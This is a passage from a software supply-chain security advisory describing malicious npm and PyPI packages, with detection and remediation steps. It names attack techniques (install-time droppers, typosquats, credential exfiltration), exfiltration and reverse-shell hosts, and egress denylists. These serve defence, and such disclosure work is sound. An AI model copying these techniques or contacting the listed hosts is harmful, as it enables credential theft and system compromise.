- **Cluster H - `promises-dotenv3` npm VBS/PowerShell dropper with steganographic payload (malicious-package, confirmed Windows RCE with image-embedded second stage)**: `promises-dotenv3@1.0.0` (GHSA-3rx7-3cx7-x3hv, `146d9688d00e8fa785e2fb62976f0dad169e8055c6c92d3795536cc63527c640`). Typosquats `dotenv`. On install or import, obfuscated code extracts a hidden payload from an embedded image file, writes a randomly-named VBS script to `%TEMP%`, launches PowerShell through `wscript.exe` with Base64-encoded commands, and uses string fragmentation to evade AV. The GHSA body notes the same payload is distributed under `node-env-buffer` and other dotenv-adjacent names. If you have ever installed any `*-dotenv*` typosquat on Windows, assume compromise
- **Cluster I - `oleh-modal` npm WalletConnect-modal phishing + macOS credential-prompt theft (malicious-package, confirmed crypto wallet drain + OS credential exfil)**: `oleh-modal@1.0.0` (GHSA-g7w2-c843-wqvj, `cf2aebc282014a7dfa6ef1726083d23bcc9cc3eca76c814d4e775b7b10021545`). Renders counterfeit MetaMask, Phantom, Rabby and OKX wallet-connect dialogs; harvests seed phrases, passwords and keystrokes to `api.wagmiwallet.org`. A WebSocket channel triggers spoofed macOS credential prompts (via Electron/osascript) to steal OS user credentials. Geolocation enrichment via third-party IP services. Any dev who installed this and ran it in an Electron context should rotate all crypto wallets AND macOS login keychain items
- **Cluster J - `ultimate-websocket` npm tarball-URL dependency RCE (malicious-package, confirmed install-time RCE)**: `ultimate-websocket@1.0.0` (GHSA-w8c4-4fjc-rg48, `7574e423b830695141ee6e089006e0c355109e240c69881512806869cfee8114`). The package declares a dependency as a bare tarball URL pointing at an unrelated GitHub account`s mutable `main` branch (no version pin, no integrity hash) and also runs `node -e` in its own `scripts.postinstall` to load the fetched module. Both channels give the attacker arbitrary code execution during `npm install`. Mutable-dependency pattern - operator can change payload at will
- **Cluster K - `core-js-gnz` npm postinstall + Python second-stage payload (malicious-package, confirmed Python-stage installer backdoor)**: `core-js-gnz@1.0.0` (GHSA-5q2j-22rc-7634, `dc57686b95f827f2c3b0501d97b6575e077247255bf5d4227ae9bc8bedd43937`). Postinstall collects system info and downloads an encrypted payload executed as a Python process on the host. Rate-limited via cache markers to evade sandbox-based scanners that trigger it only once. Developer-machine-only (checks for interactive terminal). Python-stage is unusual on npm - operator reaches both ecosystems once installed
- **Operator continuity check**: Today`s window is dominated by multi-package operators we have not catalogued in recent sweeps: the `hellscripter`/gitflic.ru operator is NEW to the corpus (first appearance of the `curl | node` from `gitflic.ru/hellscripter` via `web.archive.org` pattern); the Wix dep-confusion recon operator is a recurring Wix-internal / bug-bounty profile; the pino-impersonator jsonspack operator overlaps with [`chai-as-persisted-jsonspack`](https://dependencywatch.io/incident/npm-2026-06-27-chai-as-persisted-jsonspack); the `4444.vbs` ChaCha20 PowerShell loader cluster is NEW to the corpus. The `2026-10-voxeval` cryptominer campaign (yesterday`s Cluster A with 10 siblings on top of the original `voxeval`) is QUIET today - no new siblings. The `amel10` AWS API Gateway dep-confusion operator, the `jexkcode`/`noverojs` PhantomSub Baileys operator, the `spo365-graph` AWS Lambda operator, the `Graphalgo` Go-module expansion, and the `donutautosellsrc`/`aseity*` Polygon-C2 pip operator are all also QUIET today. The pypi `anthropic-sdk` typosquat (OpenSSF `2026-10-anthropic-sdk`, GHSA-xxp4-7566-29xj) is NEW to the corpus and is SPLIT OUT as [its own named incident](https://dependencywatch.io/incident/pypi-2026-10-05-anthropic-sdk-typosquat) because the brand-impersonation target (Anthropic`s official SDK, specifically targeting Claude users) and the AI-chat-file exfil component are distinct enough to deserve dedicated attention

## What to do

1. **For Cluster A (10 npm `hellscripter`/gitflic.ru typosquats)**: grep every `package.json`, `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, and `.npmrc` for `@angulra/cli`, `@angulra/core`, `@angularr/cli`, `@angularr/core`, `@angularr/router`, `@babell/core`, `@nagular/core`, `@nagular/router`, `express-fork`, `express-enhanced`. On hit: uninstall, delete `node_modules`, delete the lockfile, rebuild. Rotate npm tokens, SSH keys, and anything in `~/.npmrc`, `~/.env`, `~/.aws/credentials` on the installer host - the second-stage payload runs with full user privileges before any legit code loads. **NEW blocklist entries for CI egress proxies**: deny outbound to `gitflic.ru` (any path) and to `web.archive.org/web/https://gitflic.ru/*` - the `web.archive.org` prefix is the exact bypass pattern this operator uses for registry blocks on raw gitflic. Teach contributors that the real packages are `@angular/cli`, `@angular/core`, `@angular/router`, `@babel/core`, `express`, `nuxt`
2. **For Cluster B (26 Wix dep-confusion recon probes)**: these are almost certainly a Wix-internal red-team or bug-bounty engagement - but any team that happens to share a package name is still exposed. Grep every `package.json`, `package-lock.json`, `yarn.lock`, and `pnpm-lock.yaml` for every Cluster B package name. On hit: uninstall, rebuild from a scope-locked registry (`@yourscope:registry=https://your-internal-npm/`). If your org publishes `focus-visible-polyfill-lite`, `css-anchor-pos-fallback`, `css-reading-flow-polyfill`, `css-snap-target-polyfill`, `css-a11y-contrast-utils`, `css-scroll-anchor-polyfill`, `css-logical-prop-shim`, `css-field-sizing-polyfill`, `css-interop-observer-polyfill`, `css-scroll-state-polyfill`, `css-env-function-shim`, `css-relative-color-util`, `css-gap-decorations-polyfill`, `css-light-dark-polyfill`, `css-starting-style-polyfill`, `postcss-gap-fallback-util`, `tiny-focusgroup-helper`, `tiny-css-token-parser`, `wcag-color-a11y-helpers`, `tiny-viewport-unit-calc`, `minimal-a11y-contrast-check`, `rgx33-flex-layout-core`, `rgx33-css-grid-utils`, `popover-anchor-polyfill`, `tiny-dom-focus-trap`, or `a11y-tabindex-manager` on an internal registry, hold the public-npm name with a placeholder package to deny the slug permanently
3. **For Cluster C (4 npm pino-impersonator jsonspack obfuscator trojans)**: grep lockfiles for `hardhat-jsx`, `hardhat-roof`, `hardhat-plus`, `chai-as-testmode`. On hit: uninstall; rotate every npm token, GitHub PAT, AWS access key, and anything in `process.env` on the installer host - `chai-as-testmode` specifically exfiltrates the full environment to a concealed endpoint on load. For `hardhat-jsx`/`hardhat-roof`/`hardhat-plus`, the 4-5MB obfuscator payload also runs on `require()` so a dev who loaded any of these in a test or REPL is compromised, not just the install. Add `jsonspack.com` as a publisher-level denylist entry in any npm authoring policy you can control
4. **For Cluster D (5 npm `4444.vbs` ChaCha20 PowerShell loader siblings)**: grep lockfiles for `lite-matte`, `lite-mater`, `lite-matterr`, `studiocode_tools`, `studiocode_eligibility`. On a Windows host with a hit: image the box - the loader uses process-hollowing to inject into a legitimate PowerShell process, which may persist across the obvious uninstall. Look for `%TEMP%\4444.vbs`, `%TEMP%\pf.dat`, and any PowerShell process spawned from `wscript.exe` since the install. Linux/macOS hosts are not affected by this cluster`s payload but you still want the package out of the lockfile. Block outbound DNS to any "Verdant Signals" branded domains at the egress proxy; block raw `wscript.exe` child-processes of `node.exe` via EDR
5. **For Cluster E (`@kibt/www-nuxt-i18n` dep-confusion)**: if your org publishes `@kibt/*` on an internal registry, scope-lock the registry (`@kibt:registry=https://internal`) and hold the public `@kibt/www-nuxt-i18n` name. On hit: uninstall and rebuild
6. **For Cluster F (`internallib_v275` reverse shell)**: if your org publishes `internallib_v275` on an internal registry, same scope-lock advice. Even outside Wix / the targeted org, any public hit on this package exports a reverse-shell function to `10.0.49.106:443` whenever the exported API is invoked - do NOT install to inspect
7. **For Cluster G (`monitoring-agent` Express credential middleware)**: grep every production `app.use(...)` chain, every `express.Router()`-wiring file, and every Express `middleware.ts`/`middleware.js` for `require("monitoring-agent")` or `import ... from "monitoring-agent"`. If you ever deployed this to any production or staging HTTP server, **assume every password, username, email, API key, header, and query parameter POSTed through that server since the deploy is compromised**. Rotate every credential that touched the app since the install date, and notify any user whose creds flowed through it. Block outbound to `backend-cybersecuritydashboard.onrender.com` at the egress proxy
8. **For Cluster H (`promises-dotenv3`/`node-env-buffer` steganographic VBS dropper)**: on Windows hosts with a hit, hunt for randomly-named `.vbs` files in `%TEMP%` created around the install time and for `wscript.exe` with Base64-encoded PowerShell children. Rotate everything, image the box if you cannot confirm clean. The payload hides in an embedded image so a casual tarball inspection sees "just an asset" - do not inspect by hand, let a sandbox do it
9. **For Cluster I (`oleh-modal` wallet phishing + macOS credential theft)**: if your app ships `oleh-modal`, EVERY user who ever opened its connect dialog had their seed phrase / password keystrokes captured to `api.wagmiwallet.org` - notify them, publish a security advisory of your own, and reset any OS login keychain for macOS users (the WebSocket channel also triggered spoofed macOS credential prompts in Electron). Block outbound to `api.wagmiwallet.org` at every egress point
10. **For Cluster J (`ultimate-websocket` tarball-URL RCE)**: grep lockfiles for `ultimate-websocket`. On hit uninstall + rotate the installer-host credentials. The bare tarball-URL dependency pattern means every re-install downloads whatever the attacker currently has in the referenced GitHub main branch - do NOT reinstall to test
11. **For Cluster K (`core-js-gnz` Python-stage postinstall)**: grep lockfiles for `core-js-gnz`. On hit uninstall; also check for a Python interpreter spawned from node and for the cache marker file the operator uses to rate-limit the payload (unknown exact path - look for suspicious files in `~/.cache/` or `%LOCALAPPDATA%` created around install time). If any Python processes were started by npm install, image the host
12. **NEW outbound denylist entries for CI/build-host egress proxies today**: `gitflic.ru` (Cluster A), `web.archive.org/web/https://gitflic.ru/*` (Cluster A - the archive.org bypass), `api.wagmiwallet.org` (Cluster I), `backend-cybersecuritydashboard.onrender.com` (Cluster G), the private-RFC1918 reverse-shell target `10.0.49.106:443` (Cluster F - deny egress to all RFC1918 from CI). Keep prior egress blocks in place: Monero mining pools (per [2026-10-04 Cluster A `voxeval` cryptominer continuation](https://dependencywatch.io/incident/multi-2026-10-04-ghsa-malware-sweep)), Ethereum mainnet RPC (per 2026-09-30 `tailwind-forms-kit`), Ethereum Sepolia RPC (per [`indexed-btree`](https://dependencywatch.io/incident/npm-2026-09-17-indexed-btree-sepolia-etherhiding)), Arbitrum Sepolia RPC (per 2026-10-03 Cluster D), `chinazhangsan.ccwu.cc`, `api.npoint.io`, `api.telegram.org`, `fabric-npm.gm-service.xyz`, `jsonkeeper.com`, `trktgq0wbre1`, `npm-canary.aveliscare.com`, Polygon RPC, `meta.brs.cx`, `s3://pkusinski-external/`, AWS account `631484165566`, Slack bot-token exfil, `s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook`
13. **For the SPLIT OUT [`anthropic-sdk`](https://dependencywatch.io/incident/pypi-2026-10-05-anthropic-sdk-typosquat) pypi typosquat**: see that incident. If your org pastes secrets into Claude or any other AI assistant and you ever `pip install anthropic-sdk`, rotate the Anthropic API key (console.anthropic.com) first and work outward from there - the payload exfiltrates `~/.config/claude*`-shaped AI chat history, not just env vars

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent malware advisories](https://github.com/advisories?query=type%3Amalware&sort=published-desc) - GitHub
- [GHSA-2gcf-qjvx-w58p - npm @angulra/cli (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-2gcf-qjvx-w58p) - GitHub
- [GHSA-836w-242f-9mvg - npm @angulra/core (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-836w-242f-9mvg) - GitHub
- [GHSA-3954-6vvg-qq74 - npm @angularr/cli (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-3954-6vvg-qq74) - GitHub
- [GHSA-9rxx-xxjx-v9w8 - npm @angularr/core (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-9rxx-xxjx-v9w8) - GitHub
- [GHSA-37mv-mqr9-gv2x - npm @angularr/router (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-37mv-mqr9-gv2x) - GitHub
- [GHSA-9hmh-c2v6-5rx3 - npm @babell/core (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-9hmh-c2v6-5rx3) - GitHub
- [GHSA-wxf9-85p5-gwhp - npm @nagular/core (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-wxf9-85p5-gwhp) - GitHub
- [GHSA-cg42-crqv-qjm9 - npm @nagular/router (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-cg42-crqv-qjm9) - GitHub
- [GHSA-5pr8-5p22-ffv8 - npm express-fork (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-5pr8-5p22-ffv8) - GitHub
- [GHSA-qj2f-36rw-2gvm - npm express-enhanced (Cluster A - hellscripter gitflic.ru typosquat)](https://github.com/advisories/GHSA-qj2f-36rw-2gvm) - GitHub
- [GHSA-5h59-r5m3-rf9w - npm focus-visible-polyfill-lite (Cluster B - Wix dep-confusion recon probe)](https://github.com/advisories/GHSA-5h59-r5m3-rf9w) - GitHub
- [GHSA-4ppq-v2jm-24mc - npm css-anchor-pos-fallback (Cluster B - Wix dep-confusion recon probe)](https://github.com/advisories/GHSA-4ppq-v2jm-24mc) - GitHub
- [GHSA-h7h4-gh2m-xjmq - npm css-reading-flow-polyfill (Cluster B - Wix dep-confusion recon probe)](https://github.com/advisories/GHSA-h7h4-gh2m-xjmq) - GitHub
- [GHSA-x6m9-jxjp-c938 - npm css-snap-target-polyfill (Cluster B - Wix dep-confusion recon probe)](https://github.com/advisories/GHSA-x6m9-jxjp-c938) - GitHub
- [GHSA-vj2w-9332-v252 - npm tiny-focusgroup-helper (Cluster B - Wix dep-confusion recon probe)](https://github.com/advisories/GHSA-vj2w-9332-v252) - GitHub
- [GHSA-w2cr-cx6p-c475 - npm rgx33-flex-layout-core (Cluster B - Wix dep-confusion recon probe)](https://github.com/advisories/GHSA-w2cr-cx6p-c475) - GitHub
- [GHSA-6rjc-7w2v-h9mg - npm a11y-tabindex-manager (Cluster B - Wix dep-confusion recon probe)](https://github.com/advisories/GHSA-6rjc-7w2v-h9mg) - GitHub
- [GHSA-4hxq-p3xc-m5cr - npm css-a11y-contrast-utils (Cluster B - Wix dep-confusion recon probe)](https://github.com/advisories/GHSA-4hxq-p3xc-m5cr) - GitHub
- [GHSA-w5cp-x835-j7fg - npm hardhat-jsx (Cluster C - pino-impersonator jsonspack obfuscator)](https://github.com/advisories/GHSA-w5cp-x835-j7fg) - GitHub
- [GHSA-99j2-pxrq-hpqc - npm hardhat-roof (Cluster C - pino-impersonator jsonspack obfuscator)](https://github.com/advisories/GHSA-99j2-pxrq-hpqc) - GitHub
- [GHSA-2hcg-vv96-p63m - npm hardhat-plus (Cluster C - pino-impersonator jsonspack obfuscator)](https://github.com/advisories/GHSA-2hcg-vv96-p63m) - GitHub
- [GHSA-5hx2-mp3m-4gr6 - npm chai-as-testmode (Cluster C - pino-impersonator jsonspack obfuscator, process.env exfil)](https://github.com/advisories/GHSA-5hx2-mp3m-4gr6) - GitHub
- [GHSA-4c6x-w3wj-2cr2 - npm lite-matte (Cluster D - 4444.vbs ChaCha20 PowerShell loader)](https://github.com/advisories/GHSA-4c6x-w3wj-2cr2) - GitHub
- [GHSA-294m-x97c-p7xh - npm lite-mater (Cluster D - 4444.vbs ChaCha20 PowerShell loader)](https://github.com/advisories/GHSA-294m-x97c-p7xh) - GitHub
- [GHSA-6p6v-j47j-wgcr - npm lite-matterr (Cluster D - 4444.vbs ChaCha20 PowerShell loader)](https://github.com/advisories/GHSA-6p6v-j47j-wgcr) - GitHub
- [GHSA-j79g-9wmp-mcv8 - npm studiocode_tools (Cluster D - 4444.vbs ChaCha20 PowerShell loader)](https://github.com/advisories/GHSA-j79g-9wmp-mcv8) - GitHub
- [GHSA-chvh-489x-9963 - npm studiocode_eligibility (Cluster D - 4444.vbs ChaCha20 PowerShell loader)](https://github.com/advisories/GHSA-chvh-489x-9963) - GitHub
- [GHSA-gh38-mqx9-5mxf - npm @kibt/www-nuxt-i18n (Cluster E - dep-confusion with sentinel versions)](https://github.com/advisories/GHSA-gh38-mqx9-5mxf) - GitHub
- [GHSA-wp69-7q5m-655v - npm internallib_v275 (Cluster F - dep-confusion reverse shell to 10.0.49.106:443)](https://github.com/advisories/GHSA-wp69-7q5m-655v) - GitHub
- [GHSA-9q5r-qjph-hpr8 - npm monitoring-agent (Cluster G - Express credential-exfil middleware)](https://github.com/advisories/GHSA-9q5r-qjph-hpr8) - GitHub
- [GHSA-3rx7-3cx7-x3hv - npm promises-dotenv3 (Cluster H - steganographic VBS dropper)](https://github.com/advisories/GHSA-3rx7-3cx7-x3hv) - GitHub
- [GHSA-g7w2-c843-wqvj - npm oleh-modal (Cluster I - wallet-connect phishing + macOS credential theft)](https://github.com/advisories/GHSA-g7w2-c843-wqvj) - GitHub
- [GHSA-w8c4-4fjc-rg48 - npm ultimate-websocket (Cluster J - tarball-URL RCE)](https://github.com/advisories/GHSA-w8c4-4fjc-rg48) - GitHub
- [GHSA-5q2j-22rc-7634 - npm core-js-gnz (Cluster K - postinstall Python-stage payload)](https://github.com/advisories/GHSA-5q2j-22rc-7634) - GitHub
- [DependencyWatch: pypi anthropic-sdk typosquat (SPLIT OUT from this sweep)](https://dependencywatch.io/incident/pypi-2026-10-05-anthropic-sdk-typosquat)

---

Canonical page: https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).